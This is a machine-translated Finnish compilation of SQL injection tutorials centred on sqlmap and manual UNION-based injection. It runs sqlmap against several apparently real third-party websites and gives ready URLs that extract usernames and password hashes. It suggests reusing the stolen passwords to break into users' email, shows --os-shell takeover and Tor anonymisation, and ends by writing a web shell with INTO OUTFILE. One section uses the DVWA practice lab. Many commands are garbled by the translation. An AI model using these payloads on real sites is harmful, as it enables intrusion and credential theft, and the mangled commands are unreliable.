Kuoren täyttö sql-injektiolla. Täytä kuori. Mahdollisia ongelmia skannattaessa sqlmap

Mikä on sqlmap ja mihin se on tarkoitettu?

Ohjelman avulla voit tarkistaa sivustoilta SQL-injektion haavoittuvuuksia, XSS-haavoittuvuuksia ja myös hyödyntää SQL-injektiota. Eri tyyppisiä SQL-injektioita ja erilaisia ​​tietokantoja tuetaan.

Mitä voit tehdä sqlmapilla

sqlmapin avulla voit:

  • Tarkista, onko verkkosivustoilla haavoittuvuuksia

Jos sivusto on alttiina SQL-injektiolle, se on mahdollista:

  • vastaanottaa tietoja tietokannasta, mukaan lukien dump (koko) tietokanta
  • muuttaa ja poistaa tietoja tietokannasta
  • lataa komentotulkki (takaovi) web-palvelimelle

Yksi skenaarioista sqlmapin käyttöön:

  • Käyttäjätunnuksen ja salasanan hakeminen tietokannasta
  • Etsi sivuston hallintapaneelit (hallintapaneeli)
  • Kirjaudu sisään hallintapaneeliin saamasi käyttäjätunnuksella ja salasanalla

Jos haavoittuvuus on olemassa, hyökkäys voi kehittyä eri suuntiin:

  • Tietojen muokkaus
  • Takaoven täyttäminen
  • JavaScript-koodin lisääminen käyttäjätietojen hankkimiseksi
  • Toteutuskoodi BeEFiin koukkuun

Kuten näemme, SQL-injektio on erittäin vaarallinen haavoittuvuus, joka antaa hyökkääjälle suuria mahdollisuuksia.

Verkkosivujen tarkistaminen sqlmapin avulla

Jos sivusto vastaanottaa tietoja käyttäjältä GET-menetelmällä (kun sekä muuttujan nimi että lähetetyt tiedot näkyvät selaimen osoitepalkissa), sinun on valittava sen sivun osoite, jolla tämä muuttuja on esittää. Se tulee kysymysmerkin jälkeen ( ? ), Esimerkiksi:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

Ensimmäisessä osoitteessa muuttujan nimi on id, ja hyväksytty arvo on 8 . Toisessa osoitteessa on myös muuttujan nimi id, ja lähetetty arvo 22 . Kolmannessa esimerkissä muuttujan nimi on sama, mutta välitettävä arvo on p_36. Sama muuttujan nimi on satunnainen vastaavuus eri sivustoille, se voi olla mikä tahansa, lähetettävä data voi olla mitä tahansa, voi olla useita muuttujia, joiden arvot erotetaan symbolilla & .

Jos haluamme tarkistaa, onko id-muuttuja alttiina SQL-injektiolle, meidän on syötettävä koko osoite - http://www.dwib.org/faq2.php?id=8 (ei http://www.dwib .org /faq2.php tai http://www.dwib.org).

Komento tarkistaa GET-menetelmän välittämä muuttuja on hyvin yksinkertainen:

Sqlmap -u sivuston_osoite

Näille sivustoille komennot ovat:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Varmennusprosessin aikana sqlmap saattaa esittää erilaisia ​​kysymyksiä, joihin sinun on vastattava y(eli kyllä) tai n(eli ei). Kirjain y ja n voivat olla isoja tai pieniä. Iso kirjain tarkoittaa oletusvalintaa. Jos hyväksyt sen, paina Enter.

Esimerkkejä tilanteista ja kysymyksistä:

Heuristiikka havaitsi, että kohde on suojattu jonkinlaisella WAF/IPS/IDS:llä. Haluatko, että sqlmap yrittää tunnistaa WAF/IPS/IDS-taustajärjestelmän?

Heuristiikka määritti, että kohde on suojattu jonkinlaisella WAF/IPS/IDS:llä. Haluatko, että sqlmap yrittää määrittää WAF/IPS/IDS:n nimen?

Suosikkipyyntöni:

Heuristinen (perus)testi osoittaa, että GET-parametri "id" saattaa olla injektoitava (mahdollinen DBMS: "MySQL"). Testaus SQL-injektiolle GET-parametrille "id" näyttää siltä, ​​että tausta-DBMS on "MySQL". Haluatko ohittaa muiden DBMS-järjestelmien testihyötykuormat?

Asia on siinä, että heuristiikka on todennut, että parametri saattaa olla haavoittuvainen ja etä-DBMS on jo tunnistettu, meiltä kysytään, haluammeko jatkaa tarkistusta. Ja toisessa kuvakaappauksessa sivusto on myös haavoittuvainen XSS:lle.

Jos haluat automatisoida prosessin niin, että sqlmap ei kysy sinulta joka kerta, vaan käyttää oletusvalintaa (aina on parempia vaihtoehtoja), voit suorittaa komennon vaihtoehdolla --erä:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Mahdollisia ongelmia skannattaessa sqlmap

Seuraavat virheet voivat näkyä:

Yhteys aikakatkaistiin kohde-URL-osoitteeseen. sqlmap yrittää pyyntöjä uudelleen, jos ongelma jatkuu, tarkista, että annettu kohde-URL on kelvollinen. Jos näin on, voit yrittää käynnistää uudelleen kytkimen "--random-agent" ollessa päällä ja/tai välityspalvelinkytkimillä ("--ignore-proxy", "--proxy",...)

Se tarkoittaa, että sivusto ei halua "puhua" sqlmapin kanssa. Vaihtoehtona meille tarjotaan käyttöä -- satunnainen agentti. Jos voit katsella sivustoa selaimessa, mutta sqlmap kirjoittaa yhteyden mahdottomuudesta, sivusto jättää huomioimatta pyynnöt ja keskittyy käyttäjäagenttiin. Vaihtoehto --random-agent muuttaa standardin sqlmap-arvon satunnaiseksi:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Toinen syy tähän virheeseen voi olla se, että verkkosivusto on estänyt IP-osoitteesi - silloin sinun on käytettävä välityspalvelinta. Jos käytät jo välityspalvelinta ja tämä virhe tulee näkyviin, se voi tarkoittaa, että välityspalvelimella on viestintäongelmia ja sinun tulee yrittää ilman sitä.

sqlmap-skannauksen tulokset

Havaitut SQL-injektiot näytetään seuraavasti:

Nuo. on korostettu lihavoidulla vihreällä värillä, haavoittuvan parametrin nimi on kirjoitettu, SQL-haavoittuvuuden tyyppi ja siinä on sana ruiskeena.

Tietokantojen luettelon saaminen sqlmapilla

Käytä vaihtoehtoa saadaksesi luettelon tietokannoista --dbs. Esimerkkejä:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Tietojen hakeminen tietokannoista

Esimerkiksi sivustolle wellerpools.com löydettiin kaksi tietokantaa:

[*] information_schema [*] main_wellerpools

Haluan tietää main_wellerpools-tietokannan taulukoiden luettelon. Voit tehdä tämän käyttämällä vaihtoehtoa --pöydät. Sen lisäksi meidän on ilmoitettava taulukon jälkeen, josta olemme kiinnostuneita -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Luettelo taulukoista:

Jostain syystä haluan tietää sarakkeiden luettelon käyttäjätaulukosta. Voit tehdä tämän käyttämällä vaihtoehtoa -- sarakkeet. Sen lisäksi meidän on ilmoitettava tietokanta, josta olemme kiinnostuneita ( -D main_wellerpools) ja avaimen jälkeen -T taulukko, jonka sarakeluettelon haluamme nähdä:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T-käyttäjät --columns

Näytä sisältö käyttämällä vaihtoehtoa -- kaatopaikka. Se voidaan määrittää yhdessä tietokannan kanssa, jolloin koko tietokannasta tehdään vedos tai voit rajata tiedot yhteen taulukkoon tai jopa yhteen sarakkeeseen. Seuraavalla komennolla haluan nähdä koko käyttäjätaulukon sisällön:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T-käyttäjät --dump

Katso salasanoja - nopean tarkistuksen jälkeen ajattelin, että ne olivat tiivisteitä. Järjestelmänvalvojat yrittivät todella puolustaa itseään, mutta se ei auttanut heitä.

Muuten, koska parametri, joka hyväksyy GET-menetelmällä lähetetyt tiedot, on haavoittuvainen, voit muodostaa pyynnön suoraan selaimen riville siten, että käyttäjän kirjautuminen ja salasana näkyvät suoraan sivustolla:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10++käyttäjiltä--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10++käyttäjiltä--

Nuo. Meillä on sivuston käyttäjien (ja todennäköisesti jopa ylläpitäjien) käyttäjätunnus, salasana ja sähköpostiosoite. Jos löydät sivuston hallintapaneelin, voit hallita sivustoa tai verkkopalvelinta. Koska käyttäjät rakastavat samoja salasanoja ja tietävät heidän postilaatikonsa, voit yrittää hakkeroida heidän sähköpostinsa.

Yleisesti ottaen SQL-injektio on erittäin vaarallinen haavoittuvuus.

SQL-injektio on eräänlainen hyökkäys, jossa hyökkääjä muuttaa verkkosovelluksen SQL-kyselylogiikkaa, jolloin hän voi lukea/muokata/poistaa arvoja tietokannasta ja joskus suorittaa mielivaltaista koodia palvelinpuolella. Tässä artikkelissa käsitellään suosittua sqlmap-apuohjelmaa SQL-injektioiden suorittamiseen.

Tällä hetkellä tämäntyyppinen haavoittuvuus on vaarallisin kaikista mahdollisista. 7 vuoden ajan OWASP TOP-10:n johtavaa linjaa on johtanut SQL-injektiot.

Tälle haavoittuvuudelle on viisi tärkeintä syytä:

  1. Syöttöparametrien, erityisesti käyttäjän syötteen, validointi on riittämätön tai puutteellinen. "Jokainen syöttöparametri on paha"
  2. Kohtuuton ja heikosti suojattu pääsy tietokantoihin. Tämä luokka sisältää tekijöitä, kuten: suuri määrä ylläpitäjiä ja superkäyttäjiä (root), heikko todennusjärjestelmä, suuri määrä toissijaisten järjestelmänvalvojien oikeuksia jne.
  3. Arkkitehtuuri. Vanhentuneiden teknologioiden käyttö, valvontatoimenpiteiden puute, "uhan mallinnuksen" laiminlyöminen.
  4. Ilmeisen haavoittuvan koodin perinnöllisyys, valmiiden ratkaisujen käyttö alhaisella turvallisuustasolla.
  5. Suoritettavan koodin datasta puuttuva abstraktiotaso.

SQLMap.

SQL-injektioiden tyypit.

Katsotaanpa SQLMap-apuohjelman käyttämiä SQL-injektiotyyppejä:

  1. Boolen pohjainen sokea SQL-injektio
    • Menetelmä, jossa HTTP-pyynnöt ja vastaukset luetaan merkki merkiltä haavoittuvuuksien havaitsemiseksi.
    • Kun haavoittuva parametri havaitaan, SQLMap korvaa tai lisää syntaktisesti oikeat SQL-lauseet odottaessaan palvelimen vastaavaa suorittamalla kyseisen koodin.
    • SQLMap vertaa alkuperäistä kelvollista pyyntöä vastaukseen pyynnöstä, johon on upotettu haitallista koodia.
    • SQLMap käyttää puolittamisalgoritmia ( kaksijakoinen algoritmi) noutaaksesi vastauksen jokaisen merkin käyttämällä enintään seitsemää HTTP-pyyntöä.
    • Jos vastausta ei anneta puhtaana tekstinä, SQLMap mukauttaa algoritmia suuremmilla arvoilla vastauksen määrittämiseksi.
  2. Aikaperusteinen sokea SQL-injektio
    • Aikaperusteinen menetelmä itsessään olettaa, että pyyntö- ja vastausaikoihin perustuva vertailu tehdään lisäämällä syntaktisesti oikea SQL-käsky haavoittuvaan parametriin.
    • SQLMap käyttää SQL-käskyjä, jotka asettavat tietokannan pitoon palatakseen tietyksi ajaksi.
    • SQLMap vertaa HTTP-vastausaikaa alkuperäiseen pyyntöön käyttämällä samaa puolitusalgoritmia merkki kerrallaan tulostamiseen.
  3. Virhepohjainen SQL-injektio
    • SQLMap käyttää SQL-lauseita, jotka voivat aiheuttaa tiettyjä virheitä.
    • Apuohjelma etsii virheitä palvelimen HTTP-vastauksesta.
    • Tämä menetelmä toimii vain, jos verkkosovellus on määritetty paljastamaan virheilmoitukset.
  4. UNIONIN kysely
    • Syötä SQL-lause UNIONIN KAIKKI VALITSE .
    • UNION-kyselyihin perustuva SQL-injektio toimii sovelluskäyttäytymisen perusteella, ts. kun sovellus välittää kirjoitetun SELECT-kyselyn tuloksen tietyn silmukan tai ohjerivin kautta, joka sallii tulosteen kirjoittamisen sivun sisältöön.
    • Jos lähtöä ei ole silmukattu minkään silmukan kautta varten tai muuta lauseketta, SQLMap käyttää kertaluonteista UNION-kyselyn lisäystä.
  5. Pinottu kysely
    • Taitettuja kyselyitä käyttämällä. SQLMap lisää puolipisteen (;) vaikuttavan parametrin arvoon ja lisää käskyn SQL, joka on suoritettava.
    • Tällä tekniikalla voit suorittaa muita SQL-käskyjä kuin SELECT. Tämä on hyödyllistä tietojen käsittelyssä, luku- ja kirjoitusoikeuksien saamisessa ja lopulta käyttöjärjestelmän sieppaamisessa.
  6. Out-O-Band
    • Tämä menetelmä käyttää toissijaista tai muuta viestintäkanavaa tulostamaan sovelluksessa suoritettujen kyselyiden tulokset.
    • Lisäys tehdään esimerkiksi verkkosovelluksessa ja toissijaisessa kanavassa, kuten DNS-kyselyt, käytetään tietojen välittämiseen takaisin hyökkääjän toimialueelle.

SQLMapin peruskäyttö.

Käynnistä apuohjelma (täytyy olla muuttujassaPATH ):

$sqlmap

Tai apuohjelmahakemistosta:

$python sqlmap.py

Avainta käytetään dokumentaation kutsumiseen «- h / — auta »:

$ sqlmap --help $ python sqlmap.py –help

SQLMap-avainten toiminta riippuu täysin siitä, mitä hyökkääjä tarkalleen haluaa saavuttaa. SQLMap-toimintojen perusluettelo näyttää tältä:

  • Listaa tietokannan tiedot, kuten nimi, versio ja muut tiedot.
  • Valitse tietty tietokanta listataksesi tiedot sen sisältämistä taulukoista.
  • Valitse taulukko ja luettele sarakkeen tiedot.
  • Valitse sarake ja luettele rivit noutaaksesi niiden arvot.
  • Lisää hyväksikäyttöä.

Harjoitella.

Käytännössä käytämme Kirottu Haavoittuvainen Web Sovellus (DVWA tai "Helvetin haavoittuva verkkosovellus").

DVWA on ilmainen web-sovellus, joka on rakennettu PHP:n ja MySQL:n kaltaisille teknologioille ja joka on suunniteltu harjoittelemaan testaustaitoja.

Nyt olemme kiinnostuneita vain injektioista, mutta yleensä voit testata kykysi muissa haavoittuvuuksissa, jotka on luotu virallisen perusteella. OWASP TOP -10 .

P.S.: Tämä käytäntö edellyttää, että sinulla on Linuxin perusteiden tuntemus, englannin kielen alkutaso ja kyky käyttää Googlea (jos sinulla ei ole yllä olevia taitoja).

Asennus:

  • Lataa sovellus ja seuraa ohjeita;
  • Muuta vaikeustasoksi LOW;
  • Olemme kiinnostuneita vain "SQL Injection" -välilehdistä;

Alkutiedot:

  • Web-palvelin yksityisessä verkossa
  • Haavoittuva URL-osoite: http:// sinun isäntä . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Lähetä#
  • Haavoittuva parametri: id

Joten aloitetaan:

  1. Vahvistamme saatavuudenSQL injektiot:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab1350"

Komennon selitys:

— url – URL-osoite, jossa on oletettu haavoittuva parametri. On tärkeää huomata, että tämän avaimen muuttuja kirjoitetaan lainausmerkeissä, koska Tarkistettavassa URL-osoitteessa on useampi kuin yksi hyväksytty parametri. Muussa tapauksessa voit jättää lainausmerkit huomioimatta ja käyttää avaimen lyhyttä versiota “- u ilman yhtäläisyysmerkkiä .

- eväste – Istuntoeväste suoraa käyttöä varten hyökkäyksen aikana (valinnainen avain).

Johtopäätös:

Analyysi:

  • Sovellus on alttiina SQL-injektiolle
  • Injektiotyyppi – UNION-kysely
  • Taustatietokanta (DBMS) – MySQL5
  • Käyttöjärjestelmän tekniset tiedot - Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Listaamme tietokantojen nimet:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab13b50"425ab48ee

Komennon selitys:

—dbs – avain käytettävissä olevien tietokantojen luetteloimiseen.

Johtopäätös:

Analyysi: SQLMap listasi käytettävissä olevat tietokannat (yhteensä 7).

  1. Listaamme taulukoiden nimet (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8

Komennon selitys:

-D – Määritä tietokanta, josta olemme kiinnostuneita.

--tables – Luettelo tietokannassa käytettävissä olevista taulukoista.

Johtopäätös:

Analyysi: Kuten näemme, SQLMap listasi onnistuneesti 2 taulukon nimet tietokannassa dvwa .

  1. Lisäluettelo taulukon sarakkeiden nimistä "käyttäjiä ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab18v5ee" -T käyttäjät -sarakkeet

Komennon selitys:

-T – Ilmoita taulukko, josta olemme kiinnostuneita.

—sarakkeet – luettele taulukon käytettävissä olevat sarakkeet.

Johtopäätös:

Analyysi: Kuten näemme, SQLMap onnistui listaamaan taulukon 6 sarakkeen nimet käyttäjiä, bd dvwa .

  1. Luettelemme/vedämme arvot taulukosta "käyttäjiä ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab18v5ee" -T käyttäjät -C käyttäjätunnus,käyttäjä,salasana --vedos

Komennon selitys:

C – Ilmoita meitä kiinnostavat sarakkeet.

--dump – Poista arvot luetelluista sarakkeista.

Johtopäätös:

Analyysi: SQLMapin vastauksen perusteella huomioimme seuraavat seikat:

  • SQLMap hakee tietueita määritetyistä sarakkeista ja analysoi sitten näiden sarakkeiden sisältämät tiedot.
  • Kun tiedot tunnistetaan mahdollisiksi salasanatiivisteiksi, SQLMap yrittää murtaa tiivisteen käyttämällä erilaisia ​​hajautusalgoritmeja.
  • Tässä tapauksessa tiiviste on MD5, joten työkalun ensimmäisellä tiivistetekniikalla se voi onnistuneesti murtaa tiivisteet ja tuottaa hyvin muotoillun vastauksen.
  • Lisäksi työkalu tallentaa luetellut merkinnät ".csv"-tiedostomuodossa tulevaa käyttöä varten. Joten sinun ei tarvitse tyhjentää tietoja tekstitiedostoon tai ottaa kuvakaappausta, SQLMap huolehtii siitä.
  1. Palvelimen edelleen hyödyntäminen ja haltuunotto (A.S.P. , ei sisällyDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Komennon selitys:

—data – Määritä testausparametrit, jotka lähetetään POST-pyynnössä.

—os —shell – Erikoisavain, jolla yritetään hyödyntää palvelinkonsolia SQL-injektion avulla.

Johtopäätös:

Analyysi: SQLMapin vastauksen perusteella huomioimme seuraavat seikat:

  • Kun SQL-injektio on vahvistettu ja käytetty, SQLMap tarkistaa, onko käyttäjä DBA (Data Base Administrator).
  • Työkalu yritti sitten käyttää laajennettua tallennettua toimintosarjaa - "xp_cmdshell", jota SQL Server 2000 käyttää yleisesti.
  • "xp_cmdshell" -komentoa käytetään suorittamaan annettu komentorivi käyttöjärjestelmän komennona. Se puolestaan ​​tulostaa tuloksen vakiotekstinä.

Syvemmän tason järjestelmän käyttöoikeuden saamisen edut:

  • Pääsy käyttäjien tunnistetietoihin tai salasanojen tiivisteisiin.
  • Interaktiivinen kuori, jonka avulla voit ladata tai ladata tiedostoja palvelimelta.
  • Suorita akselikomentoja (OS) tutkiaksesi sisäistä verkkoa.
  • Mahdollisuus ladata haittaohjelmia.
  • Lisähyödyntäminen Metasploit Frameworkin avulla.
  • Takaovien valmistus ja täyttö.

Parhaat käytännöt ja edistynyt käyttö.

  1. SQLMap JaSAIPPUA (Yksinkertainen Esine Pääsy pöytäkirja ) pyynnöt: SOAP-pyyntöjen jäsennysprosessi on melko yksinkertainen:
    • Tallenna SOAP-pyyntösi.
    • Sen tallentaminen tekstitiedostoon mahdollisten haavoittuvien parametrien kanssa.
    • Käytä alla olevaa komentoa SQLMapille yhdessä -p-vaihtoehdon kanssa, jos tiedät haavoittuvan parametrin:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap jäsentää automaattisesti SOAP-pyynnön ja yrittää tunkeutua haavoittuvan parametrin läpi.
  1. SQLMap JaJSON (JavaScript Esine Merkintä ) pyynnöt: Samanlaisissa skenaarioissa käytettäessä SQLMapia SOAP-kyselyille JSON-kyselyjä voidaan myös analysoida ja hyödyntää. Jos kyseessä on JSON-kyselytyyppi, SQLMap kehottaa sinua hyödyntämään haavoittuvuutta havaitsemalla JSON-kyselytyypin "kyselytiedostossa". Kun vastaat kyllä, työkalu analysoi pyynnön ja valitsee oman hyökkäysvektorinsa.
  2. SQLMap ja välityspalvelin: Yritystyyppiset verkot suojataan ja valvotaan yleensä ohjattujen välityspalvelinten avulla kaikelle saapuvalle tai lähtevälle liikenteelle. Tällaisissa tapauksissa sinulla on mahdollisuus lisätä välityspalvelinvaihtoehto suoraan SQLMap-vaihtoehtoon kommunikoidaksesi kohde-URL-osoitteen kanssa. Vaikka SQLMap on komentorivityökalu, se kommunikoi HTTP-protokollan kautta, joten jos asetat HTTP-välityspalvelimen vastaavalle Internet-yhteydelle, SQLMap ottaa sen perustakseen:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap JaWAF (Web Sovellus Palomuuri ): WAF on ylimääräinen suojakerros verkkosovelluksille, mikä vaikeuttaa merkittävästi analysointia ja toimintaa SQLMapissa saatavilla olevien standardimenetelmien avulla. Tätä tarkoitusta varten on olemassa "tamper -script" -toiminto, joka yksinkertaistaa huomattavasti WAF:n takana olevien verkkosovellusten kanssa työskentelyä.
  2. SQLMap ja nimettömyys: Jos haluat piilottaa henkilöllisyytesi ja esiintyä nimettömänä kohdesovellukselle, voit käyttää TOR-välityspalvelinta (The Onion Router). SQLMapissa voit määrittää TOR-välityspalvelimen piilottamaan lähteen, josta liikenne tai pyyntö luodaan seuraavilla avaimilla:
    • tor apuohjelman vaihtaminen TOR-välityspalvelintilaan.
    • tor tyyppi TOR-välityspalvelinprotokollan manuaalinen määritys (HTTP /SOCKS 4/4a /5).
    • tarkistaa tor TOR-välityspalvelimen toiminnan tarkistaminen

Tervehdys lukija. Olen viime aikoina ollut kiinnostunut web-turvallisuudesta ja jossain määrin työni liittyy tähän. Koska Yhä useammin aloin huomata aiheita eri foorumeilla, joissa pyydettiin näyttämään, miten se kaikki toimii, joten päätin kirjoittaa artikkelin. Artikkeli on suunnattu niille, jotka eivät ole kohdanneet tätä, mutta haluavat oppia. Internetissä on suhteellisen paljon artikkeleita tästä aiheesta, mutta aloittelijoille ne ovat hieman monimutkaisia. Yritän kuvata kaiken selkeällä kielellä ja yksityiskohtaisilla esimerkeillä.

Esipuhe

Tämän artikkelin ymmärtäminen ei todellakaan vaadi SQL-kielen taitoa, mutta ainakin hyvää kärsivällisyyttä ja vähän aivoja muistamiseen.

Uskon, että pelkkä artikkelin lukeminen ei riitä, koska... tarvitsemme eläviä esimerkkejä - kuten tiedätte, harjoittelu ulkoa muistamisen aikana ei ole koskaan tarpeetonta. Siksi kirjoitamme haavoittuvia skriptejä ja harjoittelemme niitä.

Mikä on SQL-injektio?
Yksinkertaisesti sanottuna tämä on hyökkäys tietokantaan, jonka avulla voit suorittaa joitain toimintoja, joita käsikirjoituksen luoja ei ole suunnitellut. Esimerkki elämästä:

Isä kirjoitti kirjeeseen äidilleen, että hän antaisi Vasyalle 100 ruplaa ja laittoi sen pöydälle. Muokkaamalla tämän sarjakuvaksi SQL-kieleksi saamme:
OTA 100 RUPAA LOPAKOSTASI JA ANNA ne Vasyalle

Koska isä kirjoitti muistiinpanon huonosti (kömpelö käsiala) ja jätti sen pöydälle, Vasyan veli Petja näki sen. Petya, joka oli hakkeri, lisäsi sinne "OR Pete" ja tuloksena oli seuraava pyyntö:
OTA 100 RUPAA LOPAKOSTASI JA ANNA ne Vasyalle TAI Petyalle

Äiti, lukenut muistiinpanon, päätti, että hän antoi eilen rahaa Vasyalle ja antoi 100 ruplaa Petyalle. Tässä on yksinkertainen esimerkki SQL-injektiosta elämästä:) Suodattamatta tietoja (äiti tuskin ymmärsi käsialaa), Petya teki voittoa.

Valmistautuminen
Käytännössä tarvitset arkiston, jossa on tämän artikkelin lähdeskriptit. Lataa se ja pura se palvelimelle. Tuo myös tietokanta ja aseta tiedoston tiedot cfg.php

Hae SQL-injektiota

Kuten jo ymmärsit, injektio tulee saapuvista tiedoista, joita ei suodateta. Yleisin virhe on se, että lähetettyä tunnusta ei suodateta. No, karkeasti sanottuna, laita lainausmerkit kaikkiin kenttiin. Olipa kyseessä GET/POST-pyyntö tai jopa eväste!

Numeerinen syöttöparametri
Harjoittelua varten tarvitsemme käsikirjoituksen index1.php. Kuten edellä sanoin, lisäämme uutistunnukseen lainausmerkit.

Koska Pyynnössämme ei ole suodatusta:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Käsikirjoitus ymmärtää tämän näin

SELECT * FROM news WHERE id=1"

Ja se antaa meille virheen:
Varoitus: mysql_fetch_array() odottaa parametrin 1 olevan resurssi, boolen arvo annetaan rivillä 16 rivillä C:\WebServ\domains\sqlinj\index1.php

Jos virhe ei tule näkyviin, syyt voivat olla seuraavat:

1.SQL-injektio ei ole täällä - lainausmerkit suodatetaan tai se kannattaa muuntaa (int)
2. Virhetulostus on poistettu käytöstä.

Jos saat edelleen virheilmoituksen - Hurraa! Löysimme ensimmäisen tyypin SQL-injektion - Numeerinen syöttöparametri.

Merkkijonon syöttöparametri

Lähetämme pyynnöt osoitteeseen index2.php. Tässä tiedostossa pyyntö näyttää tältä:
$käyttäjä = $_GET["käyttäjä"]; $query = "SELECT * FROM news WHERE user="$user"";

Täällä valitsemme uutiset käyttäjätunnuksen mukaan, emmekä taaskaan suodata.
Lähetämme jälleen pyynnön tarjouksen kera:

Se antoi virheen. OK! Tämä tarkoittaa, että haavoittuvuus on olemassa. Ensinnäkin se riittää meille - lähdetään harjoittelemaan.

Ryhdytään toimiin

Vähän teoriaa

Et todennäköisesti malta odottaa, että saat tästä irti jotain muuta kuin virheitä. Ymmärrä ensin, että merkki " -- " katsotaan kommentiksi SQL:ssä.

HUOMIO! Ennen ja jälkeen tulee olla välilyöntejä. URL-osoitteessa ne lähetetään muodossa %20

Kaikki kommentin jälkeen tuleva pyyntö hylätään.
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Se onnistuu. Voit kokeilla tätä index2.php-skriptillä lähettämällä seuraavanlaisen pyynnön:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Opi parametri LIITTO. SQL-kielellä avainsana LIITTO käytetään yhdistämään kahden SQL-kyselyn tulokset yhdeksi taulukoksi. Eli vetääksemme jotain mitä tarvitsemme toisesta pöydästä.

Hyödynnämme sitä

Jos parametri on "Numeric", meidän ei tarvitse lähettää tarjousta pyynnössä ja luonnollisesti laittaa kommentti loppuun. Palataan käsikirjoitukseen index1.php.

Siirrytään komentosarjaan sqlinj/index1.php?id=1 UNION SELECT 1 . Tietokantakyselymme näyttää tältä:
SELECT * FROM news WHERE id=1 UNIONIN VALITSE 1
Ja hän antoi meille virheen, koska... tarvitsemme saman määrän kenttiä työskennelläksemme yhdistävien kyselyiden kanssa.

Koska Emme voi vaikuttaa niiden lukumäärään ensimmäisessä pyynnössä, sitten meidän on valittava heidän numeronsa toisessa niin, että se on yhtä suuri kuin ensimmäinen.

Kenttien lukumäärän valinta

Kenttien valinta on hyvin yksinkertaista, lähetä vain seuraavat pyynnöt:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Virhe…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Taas virhe!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ei virhettä! Tämä tarkoittaa, että sarakkeiden lukumäärä on 5.

GROUP BY
Usein käy niin, että kenttiä voi olla 20 tai 40 tai jopa 60, jotta meidän ei tarvitse lajitella niitä joka kerta, käytämme GROUP BY

Jos pyyntö
sqlinj/index1.php?id=1 GROUP BY 2
ei näyttänyt virheitä, mikä tarkoittaa, että kenttien määrä on enemmän kuin 2. Yritetään:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, näemme virheen, se tarkoittaa, että kenttien määrä on alle 8.

Jos GROUP BY 4:ssä ei ole virhettä ja GROUP BY 6:ssa on virhe, kenttien lukumäärä on 5

Tulostussarakkeiden määrittely
Varmistaaksemme, ettei meille näytetä mitään ensimmäisestä pyynnöstä, riittää korvaamaan olematon tunnus, esimerkiksi:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Tällä toiminnolla määritimme, mitkä sarakkeet sivulla näytetään. Nyt sinun on jatkettava pyyntöä, jotta voit korvata nämä numerot tarvittavilla tiedoilla.

Tietojen ulostulo

Oletetaan, että tiedämme, että taulukko on edelleen olemassa käyttäjiä jossa kentät ovat olemassa id, nimi Ja kulkea.
Meidän on saatava tietoja käyttäjästä, jolla on ID=1

Tehdään siis seuraava kysely:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM käyttäjiltä WHERE id=1
Myös kirjoitus jatkuu

Tätä varten korvaamme kenttien nimet numeroiden 1 ja 3 tilalla

Sqlinj/index1.php?id=-1 UNION SELECT nimi,2,passi,4,5 käyttäjiltä WHERE id=1
Saimme mitä tarvitsimme!

"merkkijonoparametrille" kuten komentosarjassa index2.php Sinun on lisättävä lainausmerkki alkuun ja kommenttimerkki loppuun. Esimerkki:
sqlinj/index2.php?user=-1" UNION SELECT nimi,2,pass,4,5 FROM käyttäjiltä WHERE id=1 --%20

Lue/kirjoita tiedostoja

Tiedostojen lukeminen ja kirjoittaminen edellyttää, että tietokannan käyttäjällä on FILE_PRIV-oikeudet.
Tiedostojen tallennus
Itse asiassa kaikki on hyvin yksinkertaista. Käytämme funktiota tiedoston kirjoittamiseen OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 OUTFILE "1.php" --%20
Hienoa, tiedosto on rekisteröity meille. Siten voimme täyttää mini-kuoren:
